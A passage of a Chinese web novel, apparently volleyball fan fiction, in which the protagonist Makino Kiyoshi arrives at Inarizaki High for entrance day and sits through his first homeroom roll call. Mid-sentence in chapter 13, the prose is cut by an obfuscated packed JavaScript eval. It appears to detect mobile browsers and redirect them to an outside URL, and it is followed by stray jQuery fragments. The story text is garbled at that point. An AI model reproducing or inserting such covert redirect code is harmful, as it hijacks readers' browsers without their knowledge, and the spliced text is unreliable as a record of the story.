12.
樱花花瓣飘下来的时候，刚好落在牧野清的书包肩带上。他侧过头看了一眼，粉白色的，小小的，大概只有拇指指甲那么大。
四月第一天，入学式。
牧野清的书包还是新的，皮革味很冲，背带上挂着的除魔御守是妈妈硬塞的——说是附近神社限定，开过光，保佑高中三年不挂科。
他当然不会挂科，怎么说也算经历过一次高中生活，要是连普通人都考不过，岂不是白活了。
况且神社上个月刚换了主持，还是个染黄毛的家伙。
街道边的电线杆上贴着什么乐队演出的海报，被雨打湿了边角，主唱的脸皱成一团。
一只乌鸦站在上面，歪头看他，叫了一声，声音哑得像被门夹过。
他想起上辈子在一本排球月刊上，他看过一个故事。一所叫“乌野”的高校，从县内无人问津的弱队，打进全国大赛。
想得相当莫名其妙。
坡道很陡。这条通往稻荷崎高校的坡道，据说春天是樱花隧道，夏天是蝉的地狱，秋天落叶扫不完，冬天——没人冬天走路上学，毕竟太冷了。
现在樱花确实开着，但也确实在往下砸。花瓣糊在脸上，钻进领口，黏在书包上。几个穿水手服的女生从身边超过去，叽叽喳喳讨论分班结果，裙摆被风吹起来又压下去，压下去又吹起来。
牧野清没仔细听。
拐过弯，视野突然开阔。坡道尽头，校门，再远一点，教学楼在晨光里发亮。操场上有棒球部的人在晨练，球击在金属棒上的声音脆脆的，传过来的时候已经有点散。
他脚步顿了顿。
——怎么说呢。
从今天开始就是高中生了。这件事直到现在才突然有了实感。
国中三年级的最后一个月，排球部停下了训练，他们国三的队员也被强制要求退部，他几乎每天都在考试和补课里度过。
毕业典礼那天下了一场雨。大野说，他喜欢的那个女生被别的男生撑着伞接走了，他站在体育馆屋檐下等了二十分钟，最后还是自己跑回去的。
那天晚上大野一个劲地哭，抱着牧野清的手臂嚎叫，朝他诉说自己的悲痛。
这些事情好像过去了很久，又好像就在昨天。
“哟。”
牧野清的肩膀被拍了一下。
他回头，看到了一个剃着板寸的头，是山下。山下是牧野清的国中同班，座位在他后面两排，上课经常睡觉的那种，却意外成绩很好，居然考上了稻荷崎。
“看啥呢，”山下顺着牧野清的视线往操场看，“哦，棒球部。你想进？”
“没。”
“也是，你是打排球的，放假那会儿还参加了排球部的体验入部，肯定是不会进棒球部的。”山下打了个哈欠，“而且稻荷崎的棒球部水平真不怎么样。——哎话说你几班？”
“还不知道。”
山下“嘿嘿”笑了两声，然后从口袋里掏出皱巴巴的入学报到函，“一会儿看榜，要是同班的话——”
“同班的话？”
“借我作业抄。”
樱花又砸下来几朵。牧野清伸手把领口里的花瓣掏出来，顺手拍在山下脸上，而后发挥了体育生的优势，朝校门跑去。
山下骂了一声，追上来。
坡道还长，校门还远。上课铃还没响。
乌鸦从电线杆上飞起来，掠过头顶，往教学楼的方向去了。
13.
入学式。
说不上期待，也说不上不期待。高中这种东西，大概就是换个地方继续过同样的日子。教室不一样，校服不一样，但坐在里面的人，说到底不都差不多吗。
人行道上的樱花正落得热闹。
牧野清小心地避开一片飘进视野的花瓣，顺便绕过前一晚积下的水洼。
校门口的樱花树很多。
穿同样制服的学生三三两两地往里走，有的在聊天，有的低头看手机，有的被扛着摄像机的家长追着拍照。他绕过那些人，从侧门进去。
校舍的味道很干净，地板打过蜡，反着光。走廊尽头贴着分班名单，那里已经挤了一圈人。
牧野清站在外围等着，等前面的人看完一批散开，才凑上去。
名单上名字按照五十音图排，牧野清找了找，在中间偏后的位置看到了自己的名字。
一年6组，升学班。
看来自己的入学考试考的还不错。
牧野清推开教室门的时候，里面已经坐了大概一半的人。靠门边第二排位
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17307596|198724||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
置还空着，于是他走过去坐下。
左前方的男生正和后座聊国中时参加什么社团，声音不大不小地传过来。前面坐着的女生在翻文具盒，里面的笔碰在一起，发出清脆的声响。
窗外操场上，吹奏部在练习，断断续续的调子飘进来。
阳光里飞舞着细小的灰尘，空气里有种春天特有的懒洋洋的味道，混着青草和潮湿的泥土气息。
14.
教室前门被拉开的时候，发出了一声恰到好处的轻响——既不是那种小心翼翼到让人在意的程度，也不是大大咧咧到显得粗鲁。
一个“女生”走进来。
她手里抱着一个文件夹，径直走向讲台。教室里那些聊天的声音像被什么东西轻轻按住，陆续停下来。
应该不是学生，是老师......是吧？牧野清稍显迟疑。
“早上好。”
她的声音不高，但教室里每个角落都能听清。看上去大概二十多岁，黑色西装裙，头发在脖颈处整齐地收住。没有多余的装饰，也没有刻意板着脸。
她扫了一圈教室，目光像是清点人数，又像是在确认什么别的东西。
“我是你们接下来三年的班主任，高桥。负责数学。”
她转身在黑板上写下名字。字迹工整，但没什么个性。不愧是教数学的，能写工整字已经相当出色了。
“在这之前，先把出勤簿点了。叫到名字的回答。”
她翻开文件夹。教室里有人悄悄把手机塞进口袋，有人坐直了身子。
“相川健。”
“到。”
“青木优斗。”
“到。”
名字一个个念下去，应答声此起彼伏。听着那些陌生的姓氏，牧野清想着三年后大概自己也不会全部记住。
“笠原诚。”
没有人应。
高桥老师抬起头，重复了一遍：“笠原诚？”
后排有人轻轻咳了一声。牧野清余光扫过去，看见一个空着的座位——靠门那列最后一排。
“还没来。”旁边的男生小声说，像是在替缺席的人解释。
高桥老师没说什么，在名单上做了个记号，继续往下念。
窗外的阳光比刚才又斜了一点。